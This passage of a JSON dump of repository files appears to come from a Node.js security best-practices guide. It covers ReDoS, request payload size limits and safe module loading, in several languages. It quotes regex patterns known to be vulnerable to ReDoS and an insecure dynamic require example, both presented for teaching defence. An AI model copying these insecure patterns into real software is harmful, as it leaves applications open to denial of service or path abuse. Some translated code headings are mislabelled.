    "content": "# 悪意のある RegEx がシングルスレッド実行をオーバーロードすることを防止する\r\n\r\n### 一段落説明\r\n\r\n正規表現の使用に内在するリスクは、テキストを解析して、与えられたパターンにマッチするかどうか確認するために必要な計算リソースです。シングルスレッドのイベントループが支配している Node.js プラットフォームでは、正規表現パターンを解決するような CPU 依存のオペレーションをアプリケーションを応答不能にしてしまいます。\r\n可能な場合は RegEx の使用を避けるか、[validator.js](https://github.com/chriso/validator.js) のような専用ライブラリに処理を任せるか、あるいは [safe-regex](https://github.com/substack/safe-regex) を利用して RegEx パターンが安全かどうかチェックしてください。\r\n\r\n[OWASP examples](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS) における、脆弱な RegEx パターンの例:\r\n* (a|aa)+\r\n* ([a-zA-Z]+)*\r\n\r\n<br/><br/>\r\n\r\n### コード例 – Express フレームワークを利用して SSL/TLS を有効にする\r\n\r\n```javascript\r\nconst saferegex = require('safe-regex');\r\nconst emailRegex = /^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/;\r\n\r\n// emailRegex が ReDoS 攻撃に対して脆弱であるため、false を出力するべき\r\nconsole.log(saferegex(emailRegex));\r\n\r\n// 正規表現パターンを利用する代わりに、バリデータを使用してください:\r\nconst validator = require('validator');\r\nconsole.log(validator.isEmail('liran.tal@gmail.com'));\r\n```\r\n\r\n<br/><br/>\r\n\r\n### 書籍引用: \"A vulnerable Regular Expression is known as one which applies repetition\"（脆弱な正規表現は、繰り返しを適用するものとして知られています）\r\n\r\nLiran Tal による書籍 [Essential Node.js Security](https://leanpub.com/nodejssecurity) より:\r\n> しばしば、プログラマーはユーザーから受け取った値入力が期待する条件に合致しているか検証するために RegEx を使用します。脆弱性のある正規表現は、繰り返されているキャプチャグループに対して繰り返しを適用するものとして知られており、マッチする文字列が、有効なマッチパターンのサフィックスとキャプチャグループにマッチしない文字で構成されています。\r\n"
  },
  {
    "path": "sections/security/regex.md",
    "content": "# Prevent malicious RegEx from overloading your single thread execution\r\n\r\n### One Paragraph Explainer\r\n\r\nThe risk that is inherent with the use of Regular Expressions is the computational resources that require to parse text and match a given pattern. For the Node.js platform, where a single-thread event-loop is dominant, a CPU-bound operation like resolving a regular expression pattern will render the application unresponsive.\r\nAvoid RegEx when possible or defer the task to a dedicated library like [validator.js](https://github.com/chriso/validator.js), or [safe-regex](https://github.com/substack/safe-regex) to check if the RegEx pattern is safe.\r\n\r\nSome [OWASP examples](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS) for vulnerable RegEx patterns:\r\n* (a|aa)+\r\n* ([a-zA-Z]+)*\r\n\r\n<br/><br/>\r\n\r\n### Code Example – Validating exponential time RegEx and using validators instead of RegEx\r\n\r\n```javascript\r\nconst saferegex = require('safe-regex');\r\nconst emailRegex = /^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/;\r\n\r\n// should output false because the emailRegex is vulnerable to redos attacks\r\nconsole.log(saferegex(emailRegex));\r\n\r\n// instead of the regex pattern, use validator:\r\nconst validator = require('validator');\r\nconsole.log(validator.isEmail('liran.tal@gmail.com'));\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Book Quote: \"A vulnerable Regular Expression is known as one which applies repetition\"\r\n\r\nFrom the book [Essential Node.js Security](https://leanpub.com/nodejssecurity) by Liran Tal\r\n> Often, programmers will use RegEx to validate that an input received from a user conforms to an expected condition. A vulnerable Regular Expression is known as one which applies repetition to a repeating capturing group, and where the string to match is composed of a suffix of a valid matching pattern plus characters that aren't matching the capturing group.\r\n\r\n"
  },
  {
    "path": "sections/security/regex.polish.md",
    "content": "# Zapobiegaj złośliwemu RegExowi przeciążania wykonania pojedynczego wątku\n\n### Wyjaśnienie jednym akapitem\n\nRyzykiem nieodłącznie związanym z używaniem wyrażeń regularnych są zasoby obliczeniowe, które wymagają analizy tekstu i dopasowania do określonego wzorca. W przypadku platformy Node.js, w której dominuje jednowątkowa pętla zdarzeń, operacja związana z procesorem, taka jak rozwiązywanie wzorca wyrażeń regularnych, spowoduje, że aplikacja nie będzie odpowiadać.\nJeśli to możliwe, unikaj RegEx lub odrocz zadanie do dedykowanej biblioteki, takiej jak [validator.js](https://github.com/chriso/validator.js) lub [safe-regex](https://github.com/substack/safe-regex), aby sprawdzić, czy wzorzec RegEx jest bezpieczny.\n\nNieco [przykładów OWASP](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS) dla podatności wzorców RegEx:\n* (a|aa)+\n* ([a-zA-Z]+)*\n\n<br/><br/>\n\n### Przykład kodu – Włączanie SSL / TLS przy użyciu frameworka Express\n\n```javascript\nconst saferegex = require('safe-regex');\nconst emailRegex = /^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/;\n\n// should output false because the emailRegex is vulnerable to redos attacks\nconsole.log(saferegex(emailRegex));\n\n// instead of the regex pattern, use validator:\nconst validator = require('validator');\nconsole.log(validator.isEmail('liran.tal@gmail.com'));\n```\n\n<br/><br/>\n\n### Cytat z książki: \"A vulnerable Regular Expression is known as one which applies repetition\"\n\nZ książki [Essential Node.js Security](https://leanpub.com/nodejssecurity) by Liran Tal\n> Often, programmers will use RegEx to validate that an input received from a user conforms to an expected condition. A vulnerable Regular Expression is known as one which applies repetition to a repeating capturing group, and where the string to match is composed of a suffix of a valid matching pattern plus characters that aren't matching the capturing group.\n\n"
  },
  {
    "path": "sections/security/regex.russian.md",
    "content": "# Предотвращайте ваше однопоточное выполнение от перегрузки злонамеренным RegEx\r\n\r\n### Объяснение в один абзац\r\n\r\nРиск, связанный с использованием регулярных выражений, - это вычислительные ресурсы, которые требуют анализа текста и сопоставления с заданным шаблоном. Для платформы Node.js, где доминирует однопотоковый цикл обработки событий, связанная с процессором операция, такая как разрешение шаблона регулярного выражения, сделает приложение не отвечающим на запросы.\r\nИзбегайте RegEx, когда это возможно, или отложите задачу до выделенной библиотеки, например [validator.js](https://github.com/chriso/validator.js) или [safe-regex](https://github.com/substack/safe-regex), чтобы проверить, безопасен ли шаблон RegEx.\r\n\r\nНекоторые [примеры OWASP](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS) уязвимых шаблонов RegEx:\r\n* (a|aa)+\r\n* ([a-zA-Z]+)*\r\n\r\n<br/><br/>\r\n\r\n### Пример кода - Включение SSL/TLS с использованием платформы Express\r\n\r\n```javascript\r\nconst saferegex = require('safe-regex');\r\nconst emailRegex = /^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/;\r\n\r\n// should output false because the emailRegex is vulnerable to redos attacks\r\nconsole.log(saferegex(emailRegex));\r\n\r\n// instead of the regex pattern, use validator:\r\nconst validator = require('validator');\r\nconsole.log(validator.isEmail('liran.tal@gmail.com'));\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Цитата из книги: \"Уязвимое регулярное выражение известно как выражение, которое применяет повторение\"\r\n\r\nИз книги [Essential Node.js Security](https://leanpub.com/nodejssecurity)\r\n> Часто программисты используют RegEx для проверки того, что входные данные, полученные от пользователя, соответствуют ожидаемым условиям. Уязвимое регулярное выражение известно как выражение, которое применяет повторение к повторяющейся группе захвата, и где строка для сопоставления состоит из суффикса действительного сопоставленного шаблона и символов, которые не соответствуют группе захвата.\r\n\r\n"
  },
  {
    "path": "sections/security/requestpayloadsizelimit.basque.md",
    "content": "# Mugatu kargaren tamaina alderantzizko proxy edo middlewareak erabiliz\r\n\r\n### Azalpena\r\n\r\nEskaeren gorputzak aztertzea -adibidez, JSONen kodetutako kargak- errendimendu handiko eragiketa da, batez ere eskaera handienekin. Zure web aplikazioan jasotako eskaerak kudeatzean, dagozkien karga handienen tamaina mugatu beharko zenieke.\r\nSarrerako eskaeren gorputz/karga erabilgarria mugagabea izateak zure aplikazioak gaizki funtzionatzea edo blokeatuta geratzea eragin dezake zerbitzuaren ukoa jasotzearen ondorioz izandako hutsegiteagatik edo gertatutako beste albo ondorio maltzurren batek sortutako etenaldiagatik.\r\nBadira eskaeren gorputzak aztertzeko erabiltzen diren middleware soluzio ezagun asko -esaterako, dagoeneko expressekin erabilgarria den `body-parser` paketeak, eskaera kargaren tamainak mugatzeko aukera dituztenak, eta garatzaileek funtzionaltasun hori ezartzea errazten dutenak. Nahi izanez gero, eskaeraren gorputzaren tamaina muga alda dezakezu zure alderantzizko proxy / web zerbitzariaren softwarean. Jarraian eskaera tamainak `express` eta / edo `nginx` erabiliz mugatzeko adibideak dituzu.\r\n\r\n### `express`en kode adibidea\r\n\r\n```javascript\r\nconst express = require(\"express\");\r\n\r\nconst app = express();\r\n\r\napp.use(express.json({ limit: \"300kb\" })); // body-parser-ek berez 100kb-eko gorputz tamaina zehazten du\r\n\r\n// Eskaera json gorputzarekin\r\napp.post(\"/json\", (req, res) => {\r\n  // Egiaztatu eskaeraren informazioaren content-type json-arekin bat datorren, body-parser-ek ez baititu content-type-ak egiaztatzen eta\r\n  if (!req.is(\"json\")) {\r\n    return res.sendStatus(415); // -> Sostengu gabeko media mota eskaerak ez badauka JSON gorputzik\r\n  }\r\n\r\n  res.send(\"Iepa hi, funtzionatu du!\");\r\n});\r\n\r\napp.listen(3000, () =>\r\n  console.log(\"Adibidea, aplikazioa 3000 portua entzuten!\")\r\n);\r\n```\r\n\r\n🔗 [**Expressen dokumentuak express.json()-entzat**](http://expressjs.com/en/4x/api.html#express.json)\r\n\r\n### `nginx`en konfigurazio adibidea\r\n\r\n```nginx\r\nhttp {\r\n    ...\r\n    # Mugatu gorputzaren tamaina 1MB-ra sartzen diren eskaera guztientzat\r\n    client_max_body_size 1m;\r\n}\r\n\r\nserver {\r\n    ...\r\n    # Mugatu gorputzaren tamaina 1MB-ra zehazki zerbitzari honen blokera sartzen diren eskaera guztientzat\r\n    client_max_body_size 1m;\r\n}\r\n\r\nlocation /upload {\r\n    ...\r\n    # Mugatu gorputzaren tamaina 1MB-ra bide honetara sartzen diren eskaera guztientzat\r\n    client_max_body_size 1m;\r\n}\r\n```\r\n\r\n🔗 [**Nginx dokumentuak client_max_body_size-rako**](http://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size)\r\n"
  },
  {
    "path": "sections/security/requestpayloadsizelimit.brazilian-portuguese.md",
    "content": "#  Limite o tamanho do payload usando um proxy reverso ou um middleware\r\n\r\n### Explicação em um Parágrafo\r\n\r\nA análise do corpo de uma requisição, por exemplo, payloads codificadas em JSON, é uma operação com desempenho pesado, especialmente com solicitações maiores.\r\nAo lidar com solicitações recebidas em sua aplicação web, você deve limitar o tamanho de seus respectivos payloads. Pedidos recebidos com\r\ntamanhos ilimitados de corpo/payload podem levar a um desempenho ruim da sua aplicação ou falha devido a uma interrupção de negação de serviço ou outros efeitos colaterais indesejados.\r\nMuitas soluções de middleware populares para análise de corpos de requisições, como o pacote `body-parser` já incluído para express, possui\r\nopções para limitar os tamanhos de payloads de requisições, facilitando a implementação dessa funcionalidade pelos desenvolvedores.\r\nVocê também pode integrar um limite de tamanho do corpo da requisição no seu software de proxy reverso/servidor Web, se suportado. Abaixo estão exemplos para limitar tamanhos de solicitações usando\r\n`express` e/ou` nginx`.\r\n\r\n### Exemplo de código para `express`\r\n\r\n```javascript\r\nconst express = require('express');\r\n\r\nconst app = express();\r\n\r\napp.use(express.json({ limit: '300kb' })); // body-parser tem por padrão um limite de tamanho para o corpo de 100kb\r\n\r\n// Requisição com corpo no formato json\r\napp.post('/json', (req, res) => {\r\n\r\n    // Verifica se o tipo de conteúdo da carga útil da solicitação corresponde ao json, porque o body-parser não verifica os tipos de conteúdo\r\n    if (!req.is('json')) {\r\n        return res.sendStatus(415); // -> Tipo de mídia não suportado se a solicitação não tiver corpo JSON\r\n    }\r\n\r\n    res.send('Hooray, funcionou!');\r\n});\r\n\r\napp.listen(3000, () => console.log('Exemplo de app ouvindo na porta 3000!'));\r\n```\r\n\r\n🔗 [**Documentação Express para express.json()**](http://expressjs.com/en/4x/api.html#express.json)\r\n\r\n### Exemplo de configuração para `nginx`\r\n\r\n```\r\nhttp {\r\n    ...\r\n    # Limita o tamanho do corpo para TODAS requisições recebidas para 1 MB\r\n    client_max_body_size 1m;\r\n}\r\n\r\nserver {\r\n    ...\r\n    # Limita o tamanho do corpo para requisições recebidas por esse bloco específico do servidor para 1 MB\r\n    client_max_body_size 1m;\r\n}\r\n\r\nlocation /upload {\r\n    ...\r\n    # Limita o tamanho do corpo para requisições recebidas nessa essa rota para 1 MB\r\n    client_max_body_size 1m;\r\n}\r\n```\r\n\r\n🔗 [**Documentação Nginx para client_max_body_size**](http://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size)"
  },
  {
    "path": "sections/security/requestpayloadsizelimit.french.md",
    "content": "# Limit payload size using a reverse-proxy or a middleware\n\n### One Paragraph Explainer\n\nParsing request bodies, for example JSON-encoded payloads, is a performance-heavy operation, especially with larger requests.\nWhen handling incoming requests in your web application, you should limit the size of their respective payloads. Incoming requests with\nunlimited body/payload sizes can lead to your application performing badly or crashing due to a denial-of-service outage or other unwanted side-effects.\nMany popular middleware-solutions for parsing request bodies, such as the already-included `body-parser` package for express, expose\noptions to limit the sizes of request payloads, making it easy for developers to implement this functionality. You can also\nintegrate a request body size limit in your reverse-proxy/web server software if supported. Below are examples for limiting request sizes using\n`express` and/or `nginx`.\n\n### Example code for `express`\n\n```javascript\nconst express = require('express');\n\nconst app = express();\n\napp.use(express.json({ limit: '300kb' })); // body-parser defaults to a body size limit of 100kb\n\n// Request with json body\napp.post('/json', (req, res) => {\n\n    // Check if request payload content-type matches json, because body-parser does not check for content types\n    if (!req.is('json')) {\n        return res.sendStatus(415); // -> Unsupported media type if request doesn't have JSON body\n    }\n\n    res.send('Hooray, it worked!');\n});\n\napp.listen(3000, () => console.log('Example app listening on port 3000!'));\n```\n\n🔗 [**Express docs for express.json()**](http://expressjs.com/en/4x/api.html#express.json)\n\n### Example configuration for `nginx`\n\n```nginx\nhttp {\n    ...\n    # Limit the body size for ALL incoming requests to 1 MB\n    client_max_body_size 1m;\n}\n\nserver {\n    ...\n    # Limit the body size for incoming requests to this specific server block to 1 MB\n    client_max_body_size 1m;\n}\n\nlocation /upload {\n    ...\n    # Limit the body size for incoming requests to this route to 1 MB\n    client_max_body_size 1m;\n}\n```\n\n🔗 [**Nginx docs for client_max_body_size**](http://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size)"
  },
  {
    "path": "sections/security/requestpayloadsizelimit.japanese.md",
    "content": "# リバースプロキシまたはミドルウェアを使用してペイロードのサイズを制限する\r\n\r\n### 一段落説明\r\n\r\nJSON でエンコードされたペイロードなどのリクエストボディのパースは、特に大きなリクエストの場合、パフォーマンス的に重い処理となります。\r\nウェブアプリケーションでリクエストを処理する際は、それぞれのペイロードのサイズを制限するべきです。\r\nサイズ無制限のボディ/ペイロードを含むリクエストを受任すると、アプリケーションのパフォーマンス著しく悪化したり、サービス停止に陥ったり、そのほか望まない副作用のためにクラッシュする恐れがあります。\r\nexpress に含まれている `body-parser` パッケージのような、リクエストボディを解析するための多くの一般的なミドルウェアソリューションは、\r\nリクエストペイロードのサイズを制限するオプションを提供しており、開発者がこの機能を実装するのを容易にしています。\r\nもしサポートされているのであれば、リクエストボディサイズの制限をリバースプロキシ/ウェブサーバソフトウェアに組み込むこともできます。\r\n以下に、`express` や `nginx` を用いてリクエストサイズを制限する例を示します。\r\n\r\n### `express` のコード例\r\n\r\n```javascript\r\nconst express = require('express');\r\n\r\nconst app = express();\r\n\r\napp.use(express.json({ limit: '300kb' })); // body-parse のデフォルトは、100kb のボディサイズ制限です\r\n\r\n// json ボディを用いたリクエスト\r\napp.post('/json', (req, res) => {\r\n\r\n    // body-parser は content-type をチェックしないため、リクエストペイロードの content-type が json かどうかチェックする\r\n    if (!req.is('json')) {\r\n        return res.sendStatus(415); // リクエストが JSON ボディを持っていなければ、Unsupported media type を返す\r\n    }\r\n\r\n    res.send('Hooray, it worked!');\r\n});\r\n\r\napp.listen(3000, () => console.log('Example app listening on port 3000!'));\r\n```\r\n\r\n🔗 [**express.json() に関する Express ドキュメント**](http://expressjs.com/en/4x/api.html#express.json)\r\n\r\n### `nginx` の設定例\r\n\r\n```nginx\r\nhttp {\r\n    ...\r\n    # すべての受信リクエストのボディサイズを 1MB に制限する\r\n    client_max_body_size 1m;\r\n}\r\n\r\nserver {\r\n    ...\r\n    # この特定のサーバーに対する受信リクエストのボディサイズを 1MB に制限する\r\n    client_max_body_size 1m;\r\n}\r\n\r\nlocation /upload {\r\n    ...\r\n    # このルートに対する受信リクエストのボディサイズを 1MB に制限する\r\n    client_max_body_size 1m;\r\n}\r\n```\r\n\r\n🔗 [**client_max_body_size に関する Express ドキュメント**](http://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size)"
  },
  {
    "path": "sections/security/requestpayloadsizelimit.md",
    "content": "# Limit payload size using a reverse-proxy or a middleware\r\n\r\n### One Paragraph Explainer\r\n\r\nParsing request bodies, for example JSON-encoded payloads, is a performance-heavy operation, especially with larger requests.\r\nWhen handling incoming requests in your web application, you should limit the size of their respective payloads. Incoming requests with\r\nunlimited body/payload sizes can lead to your application performing badly or crashing due to a denial-of-service outage or other unwanted side-effects.\r\nMany popular middleware-solutions for parsing request bodies, such as the already-included `body-parser` package for express, expose\r\noptions to limit the sizes of request payloads, making it easy for developers to implement this functionality. You can also\r\nintegrate a request body size limit in your reverse-proxy/web server software if supported. Below are examples for limiting request sizes using\r\n`express` and/or `nginx`.\r\n\r\n### Example code for `express`\r\n\r\n```javascript\r\nconst express = require('express');\r\n\r\nconst app = express();\r\n\r\napp.use(express.json({ limit: '300kb' })); // body-parser defaults to a body size limit of 100kb\r\n\r\n// Request with json body\r\napp.post('/json', (req, res) => {\r\n\r\n    // Check if request payload content-type matches json, because body-parser does not check for content types\r\n    if (!req.is('json')) {\r\n        return res.sendStatus(415); // -> Unsupported media type if request doesn't have JSON body\r\n    }\r\n\r\n    res.send('Hooray, it worked!');\r\n});\r\n\r\napp.listen(3000, () => console.log('Example app listening on port 3000!'));\r\n```\r\n\r\n🔗 [**Express docs for express.json()**](http://expressjs.com/en/4x/api.html#express.json)\r\n\r\n### Example configuration for `nginx`\r\n\r\n```nginx\r\nhttp {\r\n    ...\r\n    # Limit the body size for ALL incoming requests to 1 MB\r\n    client_max_body_size 1m;\r\n}\r\n\r\nserver {\r\n    ...\r\n    # Limit the body size for incoming requests to this specific server block to 1 MB\r\n    client_max_body_size 1m;\r\n}\r\n\r\nlocation /upload {\r\n    ...\r\n    # Limit the body size for incoming requests to this route to 1 MB\r\n    client_max_body_size 1m;\r\n}\r\n```\r\n\r\n🔗 [**Nginx docs for client_max_body_size**](http://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size)"
  },
  {
    "path": "sections/security/requestpayloadsizelimit.polish.md",
    "content": "# Ogranicz rozmiar payloada przy użyciu odwrotnego proxy lub oprogramowania pośredniego\n\n### Wyjaśnienie jednym akapitem\n\nAnalizowanie treści żądań, na przykład payloadów zakodowanych w JSON, jest operacją wymagającą dużej wydajności, szczególnie w przypadku większych żądań.\nPodczas obsługi żądań przychodzących w aplikacji internetowej należy ograniczyć rozmiar odpowiednich payloadów. Przychodzące requesty z\nnieograniczonym rozmiarem body/payloada mogą prowadzić do nieprawidłowego działania aplikacji lub awarii z powodu awarii usługi odmowy usługi lub innych niepożądanych efektów ubocznych.\nWiele popularnych rozwiązań oprogramowania pośredniego do analizowania treści żądań, takich jak już dołączony pakiet `body-parser` do ekspresowego, eksponowania\nopcji ograniczenia rozmiarów ładunków żądań, ułatwiające programistom wdrożenie tej funkcjonalności. Możesz także\nzintegrować limit requestu rozmiaru body z oprogramowaniem odwrotnego proxy / serwera WWW, jeśli jest obsługiwane. Poniżej znajdują się przykłady ograniczania rozmiarów żądań za pomocą\n`express` i/lub `nginx`.\n\n### Przykład kodu dla `express`\n\n```javascript\nconst express = require('express');\n\nconst app = express();\n\napp.use(express.json({ limit: '300kb' })); // body-parser defaults to a body size limit of 100kb\n\n// Request with json body\napp.post('/json', (req, res) => {\n\n    // Check if request payload content-type matches json, because body-parser does not check for content types\n    if (!req.is('json')) {\n        return res.sendStatus(415); // -> Unsupported media type if request doesn't have JSON body\n    }\n\n    res.send('Hooray, it worked!');\n});\n\napp.listen(3000, () => console.log('Example app listening on port 3000!'));\n```\n\n🔗 [**Express docs for express.json()**](http://expressjs.com/en/4x/api.html#express.json)\n\n### Przykład konfiguracji dla `nginx`\n\n```nginx\nhttp {\n    ...\n    # Limit the body size for ALL incoming requests to 1 MB\n    client_max_body_size 1m;\n}\n\nserver {\n    ...\n    # Limit the body size for incoming requests to this specific server block to 1 MB\n    client_max_body_size 1m;\n}\n\nlocation /upload {\n    ...\n    # Limit the body size for incoming requests to this route to 1 MB\n    client_max_body_size 1m;\n}\n```\n\n🔗 [**Nginx docs for client_max_body_size**](http://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size)\n"
  },
  {
    "path": "sections/security/requestpayloadsizelimit.russian.md",
    "content": "# Ограничивайте размер полезной нагрузки с помощью обратного прокси или промежуточного ПО\r\n\r\n### Объяснение в один абзац\r\n\r\nРазбор тел запросов, например JSON-кодированных полезных нагрузок, является операцией с высокой производительностью, особенно с большими запросами.\r\nПри обработке входящих запросов в вашем веб-приложении вы должны ограничить размер их соответствующих полезных нагрузок. Поступающие запросы с неограниченными размерами тела/полезной нагрузки могут привести к плохой работе приложения или к его сбоям из-за сбоя в отказе в обслуживании или других нежелательных побочных эффектов.\r\nМногие популярные middleware-решения для синтаксического анализа тел запросов, такие как уже включенный пакет body-parser для express, предоставляют опции для ограничения размеров полезных нагрузок запросов, облегчая разработчикам реализацию этой функциональности. Вы также можете интегрировать ограничение размера тела запроса в программное обеспечение обратного прокси-сервера/веб-сервера, если оно поддерживается. Ниже приведены примеры ограничения размеров запросов с использованием `express` и/или` nginx`.\r\n\r\n\r\n\r\n\r\n\r\n### Пример кода для `express`\r\n\r\n```javascript\r\nconst express = require('express');\r\n\r\nconst app = express();\r\n\r\napp.use(express.json({ limit: '300kb' })); // body-parser defaults to a body size limit of 100kb\r\n\r\n// Request with json body\r\napp.post('/json', (req, res) => {\r\n\r\n    // Check if request payload content-type matches json, because body-parser does not check for content types\r\n    if (!req.is('json')) {\r\n        return res.sendStatus(415); // -> Unsupported media type if request doesn't have JSON body\r\n    }\r\n\r\n    res.send('Hooray, it worked!');\r\n});\r\n\r\napp.listen(3000, () => console.log('Example app listening on port 3000!'));\r\n```\r\n\r\n🔗 [**Express docs for express.json()**](http://expressjs.com/en/4x/api.html#express.json)\r\n\r\n### Пример конфигурации для `nginx`\r\n\r\n```nginx\r\nhttp {\r\n    ...\r\n    # Limit the body size for ALL incoming requests to 1 MB\r\n    client_max_body_size 1m;\r\n}\r\n\r\nserver {\r\n    ...\r\n    # Limit the body size for incoming requests to this specific server block to 1 MB\r\n    client_max_body_size 1m;\r\n}\r\n\r\nlocation /upload {\r\n    ...\r\n    # Limit the body size for incoming requests to this route to 1 MB\r\n    client_max_body_size 1m;\r\n}\r\n```\r\n\r\n🔗 [**Nginx docs for client_max_body_size**](http://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size)"
  },
  {
    "path": "sections/security/safemoduleloading.basque.md",
    "content": "# Saihestu modulua kargatzea aldagai bat erabiliz\r\n\r\n### Azalpena\r\n\r\nBidea erabiltzailea sartu ondoren sortua ote den kezka baduzu eta horregatik parametro gisa ezarri baduzu, saihestu bide hori erabiltzea beste fitxategi bat deitzeko / inportatzeko. Arau hori, oro har, edozein fitxategitara sartzeko erabil daiteke (hau da, `fs.readFile()`) edo erabiltzailea sartu ondoren sortutako aldagai dinamikoak dituen babestu beharreko beste baliabide batzuetara sartzeko. Eslint-plugin-security garbitzaileak (linterrak) eredu horiek atzeman eta nahikoa goiz ohartaraz dezake.\r\n\r\n### Kode adibidea\r\n\r\n```javascript\r\n// ez segurua, helperPath aldagaia erabiltzaile sarrera batek aldatua izan ahal baita eta\r\nconst kargatzekoTresnaLagungarriakEskuratzekoModuOkerra = require(helperPath);\r\n\r\n// segurua\r\nconst kargatzekoTresnaLagungarriak = require(\"./helpers/upload\");\r\n```\r\n"
  },
  {
    "path": "sections/security/safemoduleloading.brazilian-portuguese.md",
    "content": "# Evite o carregamento de módulos usando uma variável\r\n\r\n### Explicação em um Parágrafo\r\n\r\nEvite requerir/importar outro arquivo com um caminho que tenha sido fornecido como parâmetro devido à preocupação de que ele possa ter se originado da entrada do usuário. Esta regra pode ser estendida para acessar arquivos em geral (por exemplo, `fs.readFile ()`) ou outros recursos sensíveis com variáveis ​​dinâmicas provenientes da entrada do usuário.\r\n\r\n### Exemplo de código\r\n\r\n```javascript\r\n// inseguro, pois a variável helperPath pode ter sido modificada pela entrada do usuário\r\nconst uploadHelpers = require(helperPath);\r\n\r\n// seguro\r\nconst uploadHelpers = require('./helpers/upload');\r\n```\r\n"
  },
  {
    "path": "sections/security/safemoduleloading.chinese.md",
    "content": "# 避免使用变量加载模块\n\n### 一段解释\n\n避免使用被指定为参数的路径变量导入(requiring/importing)另一个文件, 因为该变量可能源自用户输入。此规则可以扩展到一般情况下的访问文件(例如，`fs.readFile()`)，或者包含源自用户输入的动态变量的其他敏感资源。\n\n### 代码示例\n\n```javascript\n// 不安全, 因为helperPath变量可能通过用户输入而改变\nconst uploadHelpers = require(helperPath);\n\n// 安全\nconst uploadHelpers = require('./helpers/upload');\n```\n"
  },
  {
    "path": "sections/security/safemoduleloading.french.md",
    "content": "# Avoid module loading using a variable\n\n### One Paragraph Explainer\n\nAvoid requiring/importing another file with a path that was given as parameter due to the concern that it could have originated from user input. This rule can be extended for accessing files in general (i.e. `fs.readFile()`) or other sensitive resources with dynamic variables originating from user input.\n\n### Code example\n\n```javascript\n// insecure, as helperPath variable may have been modified by user input\nconst badWayToRequireUploadHelpers = require(helperPath);\n\n// secure\nconst uploadHelpers = require('./helpers/upload');\n```\n"
  },
  {
    "path": "sections/security/safemoduleloading.japanese.md",
    "content": "# 変数を利用してモジュールを読み込むことを避ける\r\n\r\n### 一段落説明\r\n\r\nユーザー入力が起因となって問題が生じる恐れがあるため、パラメータとして与えられたパスを用いて他のファイルを require/import しないようにしてください。この原則は、ユーザー入力に基づいた動的な変数を用いた、一般的なファイルアクセス（`fs.readFile()` など）やその他のセンシティブなリソースアクセスにも拡張することができます。\r\n\r\n### コード例\r\n\r\n```javascript\r\n// セキュアでない例（変数 helperPath がユーザー入力によって変更される可能性がある）\r\nconst badWayToRequireUploadHelpers = require(helperPath);\r\n\r\n// セキュアな例\r\nconst uploadHelpers = require(\"./helpers/upload\");\r\n```\r\n"
  },
  {
    "path": "sections/security/safemoduleloading.md",
    "content": "# Avoid module loading using a variable\r\n\r\n### One Paragraph Explainer\r\n\r\nAvoid requiring/importing another file with a path that was given as parameter due to the concern that it could have originated from user input. This rule can be extended for accessing files in general (i.e. `fs.readFile()`) or other sensitive resources with dynamic variables originating from user input.\r\n\r\n### Code example\r\n\r\n```javascript\r\n// insecure, as helperPath variable may have been modified by user input\r\nconst badWayToRequireUploadHelpers = require(helperPath);\r\n\r\n// secure\r\nconst uploadHelpers = require('./helpers/upload');\r\n```\r\n"
  },
  {
    "path": "sections/security/safemoduleloading.polish.md",
    "content": "# Unikaj ładowania modułu za pomocą zmiennej\n\n### Wyjaśnienie jednym akapitem\n\nUnikaj wymagania / importowania innego pliku ze ścieżką podaną jako parametr ze względu na obawy, że mógł on pochodzić z danych wejściowych użytkownika. Regułę tę można rozszerzyć w celu uzyskania ogólnego dostępu do plików (tj. `Fs.readFile()`) lub innych wrażliwych zasobów ze zmiennymi dynamicznymi pochodzącymi z danych wprowadzanych przez użytkownika.\n\n### Przykład kodu\n\n```javascript\n// insecure, as helperPath variable may have been modified by user input\nconst badWayToRequireUploadHelpers = require(helperPath);\n\n// secure\nconst uploadHelpers = require('./helpers/upload');\n```\n"
  },
  {
    "path": "sections/security/safemoduleloading.russian.md",
    "content": "# Избегайте загрузки модулей с использованием переменных\r\n\r\n### Объяснение в один абзац\r\n\r\nИзбегайте вызова/импорта другого файла с путем, указанным в качестве параметра, из-за опасений, что он мог возникнуть из-за ввода пользователя. Это правило может быть расширено для доступа к файлам вообще (то есть `fs.readFile()`) или другим чувствительным ресурсам с динамическими переменными, происходящими из пользовательского ввода.\r\n\r\n### Пример кода\r\n\r\n```javascript\r\n// insecure, as helperPath variable may have been modified by user input\r\nconst badWayToRequireUploadHelpers = require(helperPath);\r\n\r\n// secure\r\nconst uploadHelpers = require('./helpers/upload');\r\n```\r\n"
  },
  {
    "path": "sections/security/saferedirects.basque.md",
